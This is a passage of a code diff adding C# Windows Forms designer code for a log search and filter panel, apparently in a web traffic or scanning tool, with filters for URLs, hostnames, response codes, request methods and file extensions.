this.label4.Text = "Match in Sections:"; + // + // MatchKeywordTB + // + this.MatchKeywordTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.MatchKeywordTB.Enabled = false; + this.MatchKeywordTB.Location = new System.Drawing.Point(114, 3); + this.MatchKeywordTB.Name = "MatchKeywordTB"; + this.MatchKeywordTB.Size = new System.Drawing.Size(733, 20); + this.MatchKeywordTB.TabIndex = 11; + this.MatchKeywordTB.TextChanged += new System.EventHandler(this.MatchKeywordTB_TextChanged); + // + // MatchKeywordCB + // + this.MatchKeywordCB.AutoSize = true; + this.MatchKeywordCB.Location = new System.Drawing.Point(8, 6); + this.MatchKeywordCB.Name = "MatchKeywordCB"; + this.MatchKeywordCB.Size = new System.Drawing.Size(103, 17); + this.MatchKeywordCB.TabIndex = 12; + this.MatchKeywordCB.Text = "Match Keyword:"; + this.MatchKeywordCB.UseVisualStyleBackColor = true; + this.MatchKeywordCB.CheckedChanged += new System.EventHandler(this.MatchKeywordCB_CheckedChanged); + // + // panel7 + // + this.panel7.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel7.BackColor = System.Drawing.Color.White; + this.panel7.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel7.Controls.Add(this.MatchRequestUrlTypeCombo); + this.panel7.Controls.Add(this.MatchRequestUrlKeywordTB); + this.panel7.Controls.Add(this.MatchRequestUrlCB); + this.panel7.Location = new System.Drawing.Point(14, 277); + this.panel7.Name = "panel7"; + this.panel7.Size = new System.Drawing.Size(852, 27); + this.panel7.TabIndex = 19; + // + // MatchRequestUrlTypeCombo + // + this.MatchRequestUrlTypeCombo.Enabled = false; + this.MatchRequestUrlTypeCombo.FormattingEnabled = true; + this.MatchRequestUrlTypeCombo.Items.AddRange(new object[] { + "contains", + "does not contain", + "starts with", + "ends with", + "equals", + "does not equal"}); + this.MatchRequestUrlTypeCombo.Location = new System.Drawing.Point(116, 2); + this.MatchRequestUrlTypeCombo.Name = "MatchRequestUrlTypeCombo"; + this.MatchRequestUrlTypeCombo.Size = new System.Drawing.Size(176, 21); + this.MatchRequestUrlTypeCombo.TabIndex = 16; + this.MatchRequestUrlTypeCombo.SelectedIndexChanged += new System.EventHandler(this.MatchRequestUrlTypeCombo_SelectedIndexChanged); + this.MatchRequestUrlTypeCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.MatchRequestUrlTypeCombo_KeyPress); + // + // MatchRequestUrlKeywordTB + // + this.MatchRequestUrlKeywordTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.MatchRequestUrlKeywordTB.Enabled = false; + this.MatchRequestUrlKeywordTB.Location = new System.Drawing.Point(319, 3); + this.MatchRequestUrlKeywordTB.Name = "MatchRequestUrlKeywordTB"; + this.MatchRequestUrlKeywordTB.Size = new System.Drawing.Size(528, 20); + this.MatchRequestUrlKeywordTB.TabIndex = 11; + this.MatchRequestUrlKeywordTB.TextChanged += new System.EventHandler(this.MatchRequestUrlKeywordTB_TextChanged); + // + // MatchRequestUrlCB + // + this.MatchRequestUrlCB.AutoSize = true; + this.MatchRequestUrlCB.Location = new System.Drawing.Point(8, 6); + this.MatchRequestUrlCB.Name = "MatchRequestUrlCB"; + this.MatchRequestUrlCB.Size = new System.Drawing.Size(91, 17); + this.MatchRequestUrlCB.TabIndex = 12; + this.MatchRequestUrlCB.Text = "Request URL"; + this.MatchRequestUrlCB.UseVisualStyleBackColor = true; + this.MatchRequestUrlCB.CheckedChanged += new System.EventHandler(this.MatchRequestUrlCB_CheckedChanged); + // + // panel6 + // + this.panel6.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel6.Controls.Add(this.SearchBtn); + this.panel6.Controls.Add(this.label3); + this.panel6.Controls.Add(this.SearchTypeNewRB); + this.panel6.Controls.Add(this.SearchTypeChainedRB); + this.panel6.Location = new System.Drawing.Point(14, 152); + this.panel6.Name = "panel6"; + this.panel6.Size = new System.Drawing.Size(852, 27); + this.panel6.TabIndex = 18; + // + // SearchBtn + // + this.SearchBtn.Location = new System.Drawing.Point(718, 2); + this.SearchBtn.Name = "SearchBtn"; + this.SearchBtn.Size = new System.Drawing.Size(118, 23); + this.SearchBtn.TabIndex = 9; + this.SearchBtn.Text = "Search with this Filter"; + this.SearchBtn.UseVisualStyleBackColor = true; + this.SearchBtn.Click += new System.EventHandler(this.SearchBtn_Click); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(6, 7); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(71, 13); + this.label3.TabIndex = 1; + this.label3.Text = "Search Type:"; + // + // SearchTypeNewRB + // + this.SearchTypeNewRB.AutoSize = true; + this.SearchTypeNewRB.Checked = true; + this.SearchTypeNewRB.Location = new System.Drawing.Point(83, 5); + this.SearchTypeNewRB.Name = "SearchTypeNewRB"; + this.SearchTypeNewRB.Size = new System.Drawing.Size(212, 17); + this.SearchTypeNewRB.TabIndex = 3; + this.SearchTypeNewRB.TabStop = true; + this.SearchTypeNewRB.Text = "New Search (searches entire database)"; + this.SearchTypeNewRB.UseVisualStyleBackColor = true; + this.SearchTypeNewRB.CheckedChanged += new System.EventHandler(this.SearchTypeNewRB_CheckedChanged); + // + // SearchTypeChainedRB + // + this.SearchTypeChainedRB.AutoSize = true; + this.SearchTypeChainedRB.Location = new System.Drawing.Point(305, 5); + this.SearchTypeChainedRB.Name = "SearchTypeChainedRB"; + this.SearchTypeChainedRB.Size = new System.Drawing.Size(364, 17); + this.SearchTypeChainedRB.TabIndex = 8; + this.SearchTypeChainedRB.Text = "Chained Search (searches only within the results of the previous search)"; + this.SearchTypeChainedRB.UseVisualStyleBackColor = true; + this.SearchTypeChainedRB.CheckedChanged += new System.EventHandler(this.SearchTypeChainedRB_CheckedChanged); + // + // LogSourceAndIdsPanel + // + this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeBelowTB); + this.LogSourceAndIdsPanel.Controls.Add(this.SelectLogSourceCombo); + this.LogSourceAndIdsPanel.Controls.Add(this.label1); + this.LogSourceAndIdsPanel.Controls.Add(this.label2); + this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeAnyRB); + this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeAboveCB); + this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeBelowCB); + this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeCustomRB); + this.LogSourceAndIdsPanel.Controls.Add(this.LogIdsRangeAboveTB); + this.LogSourceAndIdsPanel.Location = new System.Drawing.Point(14, 186); + this.LogSourceAndIdsPanel.Name = "LogSourceAndIdsPanel"; + this.LogSourceAndIdsPanel.Size = new System.Drawing.Size(852, 27); + this.LogSourceAndIdsPanel.TabIndex = 17; + // + // LogIdsRangeBelowTB + // + this.LogIdsRangeBelowTB.Enabled = false; + this.LogIdsRangeBelowTB.Location = new System.Drawing.Point(746, 3); + this.LogIdsRangeBelowTB.Name = "LogIdsRangeBelowTB"; + this.LogIdsRangeBelowTB.Size = new System.Drawing.Size(90, 20); + this.LogIdsRangeBelowTB.TabIndex = 7; + this.LogIdsRangeBelowTB.Text = "200"; + this.LogIdsRangeBelowTB.TextChanged += new System.EventHandler(this.LogIdsRangeBelowTB_TextChanged); + // + // SelectLogSourceCombo + // + this.SelectLogSourceCombo.FormattingEnabled = true; + this.SelectLogSourceCombo.Location = new System.Drawing.Point(100, 3); + this.SelectLogSourceCombo.Name = "SelectLogSourceCombo"; + this.SelectLogSourceCombo.Size = new System.Drawing.Size(176, 21); + this.SelectLogSourceCombo.TabIndex = 0; + this.SelectLogSourceCombo.SelectedIndexChanged += new System.EventHandler(this.SelectLogSourceCombo_SelectedIndexChanged); + this.SelectLogSourceCombo.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.SelectLogSourceCombo_KeyPress); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(6, 7); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(88, 13); + this.label1.TabIndex = 1; + this.label1.Text = "Select Log Type:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(302, 7); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(47, 13); + this.label2.TabIndex = 2; + this.label2.Text = "Log IDs:"; + // + // LogIdsRangeAnyRB + // + this.LogIdsRangeAnyRB.AutoSize = true; + this.LogIdsRangeAnyRB.Checked = true; + this.LogIdsRangeAnyRB.Location = new System.Drawing.Point(355, 5); + this.LogIdsRangeAnyRB.Name = "LogIdsRangeAnyRB"; + this.LogIdsRangeAnyRB.Size = new System.Drawing.Size(43, 17); + this.LogIdsRangeAnyRB.TabIndex = 3; + this.LogIdsRangeAnyRB.TabStop = true; + this.LogIdsRangeAnyRB.Text = "Any"; + this.LogIdsRangeAnyRB.UseVisualStyleBackColor = true; + this.LogIdsRangeAnyRB.CheckedChanged += new System.EventHandler(this.LogIdsRangeAnyRB_CheckedChanged); + // + // LogIdsRangeAboveCB + // + this.LogIdsRangeAboveCB.AutoSize = true; + this.LogIdsRangeAboveCB.Enabled = false; + this.LogIdsRangeAboveCB.Location = new System.Drawing.Point(503, 5); + this.LogIdsRangeAboveCB.Name = "LogIdsRangeAboveCB"; + this.LogIdsRangeAboveCB.Size = new System.Drawing.Size(57, 17); + this.LogIdsRangeAboveCB.TabIndex = 9; + this.LogIdsRangeAboveCB.Text = "Above"; + this.LogIdsRangeAboveCB.UseVisualStyleBackColor = true; + this.LogIdsRangeAboveCB.CheckedChanged += new System.EventHandler(this.LogIdsRangeAboveCB_CheckedChanged); + // + // LogIdsRangeBelowCB + // + this.LogIdsRangeBelowCB.AutoSize = true; + this.LogIdsRangeBelowCB.Enabled = false; + this.LogIdsRangeBelowCB.Location = new System.Drawing.Point(685, 5); + this.LogIdsRangeBelowCB.Name = "LogIdsRangeBelowCB"; + this.LogIdsRangeBelowCB.Size = new System.Drawing.Size(55, 17); + this.LogIdsRangeBelowCB.TabIndex = 10; + this.LogIdsRangeBelowCB.Text = "Below"; + this.LogIdsRangeBelowCB.UseVisualStyleBackColor = true; + this.LogIdsRangeBelowCB.CheckedChanged += new System.EventHandler(this.LogIdsRangeBelowCB_CheckedChanged); + // + // LogIdsRangeCustomRB + // + this.LogIdsRangeCustomRB.AutoSize = true; + this.LogIdsRangeCustomRB.Location = new System.Drawing.Point(404, 5); + this.LogIdsRangeCustomRB.Name = "LogIdsRangeCustomRB"; + this.LogIdsRangeCustomRB.Size = new System.Drawing.Size(93, 17); + this.LogIdsRangeCustomRB.TabIndex = 8; + this.LogIdsRangeCustomRB.Text = "Only in range -"; + this.LogIdsRangeCustomRB.UseVisualStyleBackColor = true; + this.LogIdsRangeCustomRB.CheckedChanged += new System.EventHandler(this.LogIdsRangeCustomRB_CheckedChanged); + // + // LogIdsRangeAboveTB + // + this.LogIdsRangeAboveTB.Enabled = false; + this.LogIdsRangeAboveTB.Location = new System.Drawing.Point(566, 3); + this.LogIdsRangeAboveTB.Name = "LogIdsRangeAboveTB"; + this.LogIdsRangeAboveTB.Size = new System.Drawing.Size(90, 20); + this.LogIdsRangeAboveTB.TabIndex = 5; + this.LogIdsRangeAboveTB.Text = "100"; + this.LogIdsRangeAboveTB.TextChanged += new System.EventHandler(this.LogIdsRangeAboveTB_TextChanged); + // + // panel4 + // + this.panel4.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel4.BackColor = System.Drawing.Color.White; + this.panel4.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel4.Controls.Add(this.MatchFileExtensionsMinusRB); + this.panel4.Controls.Add(this.MatchFileExtensionsPlusRB); + this.panel4.Controls.Add(this.MatchFileExtensionsTB); + this.panel4.Controls.Add(this.MatchFileExtensionsCB); + this.panel4.Location = new System.Drawing.Point(14, 408); + this.panel4.Name = "panel4"; + this.panel4.Size = new System.Drawing.Size(852, 27); + this.panel4.TabIndex = 16; + // + // MatchFileExtensionsMinusRB + // + this.MatchFileExtensionsMinusRB.AutoSize = true; + this.MatchFileExtensionsMinusRB.Checked = true; + this.MatchFileExtensionsMinusRB.Enabled = false; + this.MatchFileExtensionsMinusRB.Location = new System.Drawing.Point(287, 5); + this.MatchFileExtensionsMinusRB.Name = "MatchFileExtensionsMinusRB"; + this.MatchFileExtensionsMinusRB.Size = new System.Drawing.Size(28, 17); + this.MatchFileExtensionsMinusRB.TabIndex = 15; + this.MatchFileExtensionsMinusRB.TabStop = true; + this.MatchFileExtensionsMinusRB.Text = "-"; + this.MatchFileExtensionsMinusRB.UseVisualStyleBackColor = true; + this.MatchFileExtensionsMinusRB.CheckedChanged += new System.EventHandler(this.MatchFileExtensionsMinusRB_CheckedChanged); + // + // MatchFileExtensionsPlusRB + // + this.MatchFileExtensionsPlusRB.AutoSize = true; + this.MatchFileExtensionsPlusRB.Enabled = false; + this.MatchFileExtensionsPlusRB.Location = new System.Drawing.Point(250, 5); + this.MatchFileExtensionsPlusRB.Name = "MatchFileExtensionsPlusRB"; + this.MatchFileExtensionsPlusRB.Size = new System.Drawing.Size(31, 17); + this.MatchFileExtensionsPlusRB.TabIndex = 14; + this.MatchFileExtensionsPlusRB.Text = "+"; + this.MatchFileExtensionsPlusRB.UseVisualStyleBackColor = true; + this.MatchFileExtensionsPlusRB.CheckedChanged += new System.EventHandler(this.MatchFileExtensionsPlusRB_CheckedChanged); + // + // MatchFileExtensionsTB + // + this.MatchFileExtensionsTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.MatchFileExtensionsTB.Enabled = false; + this.MatchFileExtensionsTB.Location = new System.Drawing.Point(319, 3); + this.MatchFileExtensionsTB.Name = "MatchFileExtensionsTB"; + this.MatchFileExtensionsTB.Size = new System.Drawing.Size(528, 20); + this.MatchFileExtensionsTB.TabIndex = 11; + this.MatchFileExtensionsTB.Text = "jpg, jpeg, png, gif, ico, pdf, doc, docx, ppt, pptx, xls, xlsx, zip, tar, 7z, exe" + + ", swf, jar, css, js, html"; + this.MatchFileExtensionsTB.TextChanged += new System.EventHandler(this.MatchFileExtensionsTB_TextChanged); + // + // MatchFileExtensionsCB + // + this.MatchFileExtensionsCB.AutoSize = true; + this.MatchFileExtensionsCB.Location = new System.Drawing.Point(8, 6); + this.MatchFileExtensionsCB.Name = "MatchFileExtensionsCB"; + this.MatchFileExtensionsCB.Size = new System.Drawing.Size(207, 17); + this.MatchFileExtensionsCB.TabIndex = 12; + this.MatchFileExtensionsCB.Text = "Except these Request File Extensions:"; + this.MatchFileExtensionsCB.UseVisualStyleBackColor = true; + this.MatchFileExtensionsCB.CheckedChanged += new System.EventHandler(this.MatchFileExtensionsCB_CheckedChanged); + // + // panel3 + // + this.panel3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel3.BackColor = System.Drawing.Color.White; + this.panel3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel3.Controls.Add(this.MatchHostNamesMinusRB); + this.panel3.Controls.Add(this.MatchHostNamesPlusRB); + this.panel3.Controls.Add(this.MatchHostNamesTB); + this.panel3.Controls.Add(this.MatchHostNamesCB); + this.panel3.Location = new System.Drawing.Point(14, 375); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(852, 27); + this.panel3.TabIndex = 15; + // + // MatchHostNamesMinusRB + // + this.MatchHostNamesMinusRB.AutoSize = true; + this.MatchHostNamesMinusRB.Checked = true; + this.MatchHostNamesMinusRB.Enabled = false; + this.MatchHostNamesMinusRB.Location = new System.Drawing.Point(231, 5); + this.MatchHostNamesMinusRB.Name = "MatchHostNamesMinusRB"; + this.MatchHostNamesMinusRB.Size = new System.Drawing.Size(28, 17); + this.MatchHostNamesMinusRB.TabIndex = 15; + this.MatchHostNamesMinusRB.TabStop = true; + this.MatchHostNamesMinusRB.Text = "-"; + this.MatchHostNamesMinusRB.UseVisualStyleBackColor = true; + this.MatchHostNamesMinusRB.CheckedChanged += new System.EventHandler(this.MatchHostNamesMinusRB_CheckedChanged); + // + // MatchHostNamesPlusRB + // + this.MatchHostNamesPlusRB.AutoSize = true; + this.MatchHostNamesPlusRB.Enabled = false; + this.MatchHostNamesPlusRB.Location = new System.Drawing.Point(194, 5); + this.MatchHostNamesPlusRB.Name = "MatchHostNamesPlusRB"; + this.MatchHostNamesPlusRB.Size = new System.Drawing.Size(31, 17); + this.MatchHostNamesPlusRB.TabIndex = 14; + this.MatchHostNamesPlusRB.Text = "+"; + this.MatchHostNamesPlusRB.UseVisualStyleBackColor = true; + this.MatchHostNamesPlusRB.CheckedChanged += new System.EventHandler(this.MatchHostNamesPlusRB_CheckedChanged); + // + // MatchHostNamesTB + // + this.MatchHostNamesTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.MatchHostNamesTB.Enabled = false; + this.MatchHostNamesTB.Location = new System.Drawing.Point(265, 3); + this.MatchHostNamesTB.Name = "MatchHostNamesTB"; + this.MatchHostNamesTB.Size = new System.Drawing.Size(582, 20); + this.MatchHostNamesTB.TabIndex = 11; + this.MatchHostNamesTB.Text = "www.google.com, www.facebook.com, www.twitter.com"; + this.MatchHostNamesTB.TextChanged += new System.EventHandler(this.MatchHostNamesTB_TextChanged); + // + // MatchHostNamesCB + // + this.MatchHostNamesCB.AutoSize = true; + this.MatchHostNamesCB.Location = new System.Drawing.Point(8, 6); + this.MatchHostNamesCB.Name = "MatchHostNamesCB"; + this.MatchHostNamesCB.Size = new System.Drawing.Size(147, 17); + this.MatchHostNamesCB.TabIndex = 12; + this.MatchHostNamesCB.Text = "Except these Hostnames:"; + this.MatchHostNamesCB.UseVisualStyleBackColor = true; + this.MatchHostNamesCB.CheckedChanged += new System.EventHandler(this.MatchHostNamesCB_CheckedChanged); + // + // panel2 + // + this.panel2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel2.Controls.Add(this.MatchResponseCodesMinusRB); + this.panel2.Controls.Add(this.MatchResponseCodesPlusRB); + this.panel2.Controls.Add(this.MatchResponseCodesTB); + this.panel2.Controls.Add(this.MatchResponseCodesCB); + this.panel2.Location = new System.Drawing.Point(14, 341); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(852, 27); + this.panel2.TabIndex = 14; + // + // MatchResponseCodesMinusRB + // + this.MatchResponseCodesMinusRB.AutoSize = true; + this.MatchResponseCodesMinusRB.Enabled = false; + this.MatchResponseCodesMinusRB.Location = new System.Drawing.Point(231, 5); + this.MatchResponseCodesMinusRB.Name = "MatchResponseCodesMinusRB"; + this.MatchResponseCodesMinusRB.Size = new System.Drawing.Size(28, 17); + this.MatchResponseCodesMinusRB.TabIndex = 15; + this.MatchResponseCodesMinusRB.Text = "-"; + this.MatchResponseCodesMinusRB.UseVisualStyleBackColor = true; + this.MatchResponseCodesMinusRB.CheckedChanged += new System.EventHandler(this.MatchResponseCodesMinusRB_CheckedChanged); + // + // MatchResponseCodesPlusRB + // + this.MatchResponseCodesPlusRB.AutoSize = true; + this.MatchResponseCodesPlusRB.Checked = true; + this.MatchResponseCodesPlusRB.Enabled = false; + this.MatchResponseCodesPlusRB.Location = new System.Drawing.Point(194, 5); + this.MatchResponseCodesPlusRB.Name = "MatchResponseCodesPlusRB"; + this.MatchResponseCodesPlusRB.Size = new System.Drawing.Size(31, 17); + this.MatchResponseCodesPlusRB.TabIndex = 14; + this.MatchResponseCodesPlusRB.TabStop = true; + this.MatchResponseCodesPlusRB.Text = "+"; + this.MatchResponseCodesPlusRB.UseVisualStyleBackColor = true; + this.MatchResponseCodesPlusRB.CheckedChanged += new System.EventHandler(this.MatchResponseCodesPlusRB_CheckedChanged); + // + // MatchResponseCodesTB + // + this.MatchResponseCodesTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.MatchResponseCodesTB.Enabled = false; + this.MatchResponseCodesTB.Location = new System.Drawing.Point(265, 3); + this.MatchResponseCodesTB.Name = "MatchResponseCodesTB"; + this.MatchResponseCodesTB.Size = new System.Drawing.Size(582, 20); + this.MatchResponseCodesTB.TabIndex = 11; + this.MatchResponseCodesTB.Text = "200, 301, 302"; + this.MatchResponseCodesTB.TextChanged += new System.EventHandler(this.MatchResponseCodesTB_TextChanged); + // + // MatchResponseCodesCB + // + this.MatchResponseCodesCB.AutoSize = true; + this.MatchResponseCodesCB.Location = new System.Drawing.Point(8, 6); + this.MatchResponseCodesCB.Name = "MatchResponseCodesCB"; + this.MatchResponseCodesCB.Size = new System.Drawing.Size(163, 17); + this.MatchResponseCodesCB.TabIndex = 12; + this.MatchResponseCodesCB.Text = "Only these Response Codes:"; + this.MatchResponseCodesCB.UseVisualStyleBackColor = true; + this.MatchResponseCodesCB.CheckedChanged += new System.EventHandler(this.MatchResponseCodesCB_CheckedChanged); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel1.Controls.Add(this.MatchRequestMethodsMinusRB); + this.panel1.Controls.Add(this.MatchRequestMethodsPlusRB); + this.panel1.Controls.Add(this.MatchRequestMethodsTB); + this.panel1.Controls.Add(this.MatchRequestMethodsCB); + this.panel1.Location = new System.Drawing.Point(14, 308); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(852, 27); + this.panel1.TabIndex = 13; + // + // MatchRequestMethodsMinusRB + // + this.MatchRequestMethodsMinusRB.AutoSize = true; + this.MatchRequestMethodsMinusRB.Enabled = false; + this.MatchRequestMethodsMinusRB.Location = new System.Drawing.Point(231, 5); + this.MatchRequestMethodsMinusRB.Name = "MatchRequestMethodsMinusRB"; + this.MatchRequestMethodsMinusRB.Size = new System.Drawing.Size(28, 17); + this.MatchRequestMethodsMinusRB.TabIndex = 15; + this.MatchRequestMethodsMinusRB.Text = "-"; + this.MatchRequestMethodsMinusRB.UseVisualStyleBackColor = true; + this.MatchRequestMethodsMinusRB.CheckedChanged += new System.EventHandler(this.MatchRequestMethodsMinusRB_CheckedChanged); + // + // MatchRequestMethodsPlusRB + // + this.MatchRequestMethodsPlusRB.AutoSize = true; + this.MatchRequestMethodsPlusRB.Checked = true; + this.MatchRequestMethodsPlusRB.Enabled = false; + this.MatchRequestMethodsPlusRB.Location = new System.Drawing.Point(194, 5); + this.MatchRequestMethodsPlusRB.Name = "MatchRequestMethodsPlusRB"; + this.MatchRequestMethodsPlusRB.Size = new System.Drawing.Size(31, 17); + this.MatchRequestMethodsPlusRB.TabIndex = 14; + this.MatchRequestMethodsPlusRB.TabStop = true; + this.MatchRequestMethodsPlusRB.Text = "+"; + this.MatchRequestMethodsPlusRB.UseVisualStyleBackColor = true; + this.MatchRequestMethodsPlusRB.CheckedChanged += new System.EventHandler(this.MatchRequestMethodsPlusRB_CheckedChanged); + // + // MatchRequestMethodsTB + // + this.MatchRequestMethodsTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.MatchRequestMethodsTB.Enabled = false; + this.MatchRequestMethodsTB.Location = new System.Drawing.Point(265, 3); + this.MatchRequestMethodsTB.Name = "MatchRequestMethodsTB"; + this.MatchRequestMethodsTB.Size = new System.Drawing.Size(582, 20); + this.MatchRequestMethodsTB.TabIndex = 11; + this.MatchRequestMethodsTB.Text = "GET, POST"; + this.MatchRequestMethodsTB.TextChanged += new System.EventHandler(this.MatchRequestMethodsTB_TextChanged); + // + // MatchRequestMethodsCB + // + this.MatchRequestMethodsCB.AutoSize = true; + this.MatchRequestMethodsCB.Location = new System.Drawing.Point(8, 6); + this.MatchRequestMethodsCB.Name = "MatchRequestMethodsCB"; + this.MatchRequestMethodsCB.Size = new System.Drawing.Size(166, 17); + this.MatchRequestMethodsCB.TabIndex = 12; + this.MatchRequestMethodsCB.Text = "Only these Request Methods:"; + this.MatchRequestMethodsCB.UseVisualStyleBackColor = true; + this.MatchRequestMethodsCB.CheckedChanged += new System.EventHandler(this.MatchRequestMethodsCB_CheckedChanged); + // + // BaseSplit + // + this.BaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseSplit.Location = new System.Drawing.Point(0, 0); + this.BaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.BaseSplit.Name = "BaseSplit"; + this.BaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // BaseSplit.Panel1 + // + this.BaseSplit.Panel1.Controls.Add(this.label6); + this.BaseSplit.Panel1.Controls.Add(this.DoDiffBtn); + this.BaseSplit.Panel1.Controls.Add(this.SearchResultsCountLbl); + this.BaseSplit.Panel1.Controls.Add(this.SearchProgressBar); + this.BaseSplit.Panel1.Controls.Add(this.LogGrid); + this.BaseSplit.Panel1.Controls.Add(this.StartScanBtn); + this.BaseSplit.Panel1.Controls.Add(this.StartTestBtn); + this.BaseSplit.Panel1.Controls.Add(this.SelectAllCB); + this.BaseSplit.Panel1.Controls.Add(this.RunModulesBtn); + // + // BaseSplit.Panel2 + // + this.BaseSplit.Panel2.Controls.Add(this.LoadLogProgressBar); + this.BaseSplit.Panel2.Controls.Add(this.LogDisplayTabs); + this.BaseSplit.Size = new System.Drawing.Size(876, 536); + this.BaseSplit.SplitterDistance = 315; + this.BaseSplit.SplitterWidth = 2; + this.BaseSplit.TabIndex = 10; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(8, 29); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(313, 13); + this.label6.TabIndex = 40; + this.label6.Text = "Click on Checkbox to select log. Click anywhere else to view log."; + // + // DoDiffBtn + // + this.DoDiffBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.DoDiffBtn.Enabled = false; + this.DoDiffBtn.Location = new System.Drawing.Point(408, 20); + this.DoDiffBtn.Name = "DoDiffBtn"; + this.DoDiffBtn.Size = new System.Drawing.Size(97, 40); + this.DoDiffBtn.TabIndex = 39; + this.DoDiffBtn.Text = "Diff Selected Sessions"; + this.DoDiffBtn.UseVisualStyleBackColor = true; + this.DoDiffBtn.Click += new System.EventHandler(this.DoDiffBtn_Click); + // + // SearchResultsCountLbl + // + this.SearchResultsCountLbl.AutoSize = true; + this.SearchResultsCountLbl.Location = new System.Drawing.Point(8, 10); + this.SearchResultsCountLbl.Name = "SearchResultsCountLbl"; + this.SearchResultsCountLbl.Size = new System.Drawing.Size(122, 13); + this.SearchResultsCountLbl.TabIndex = 35; + this.SearchResultsCountLbl.Text = "Search Results Count: 0"; + // + // SearchProgressBar + // + this.SearchProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.SearchProgressBar.Location = new System.Drawing.Point(189, 8); + this.SearchProgressBar.MarqueeAnimationSpeed = 10; + this.SearchProgressBar.Name = "SearchProgressBar"; + this.SearchProgressBar.Size = new System.Drawing.Size(174, 20); + this.SearchProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.SearchProgressBar.TabIndex = 34; + this.SearchProgressBar.Visible = false; + // + // LoadLogProgressBar + // + this.LoadLogProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.LoadLogProgressBar.Location = new System.Drawing.Point(303, 45); + this.LoadLogProgressBar.MarqueeAnimationSpeed = 10; + this.LoadLogProgressBar.Name = "LoadLogProgressBar"; + this.LoadLogProgressBar.Size = new System.Drawing.Size(228, 23); + this.LoadLogProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.LoadLogProgressBar.TabIndex = 33; + this.LoadLogProgressBar.Visible = false; + // + // LogDisplayTabs + // + this.LogDisplayTabs.Controls.Add(this.tabPage12); + this.LogDisplayTabs.Controls.Add(this.tabPage29); + this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; + 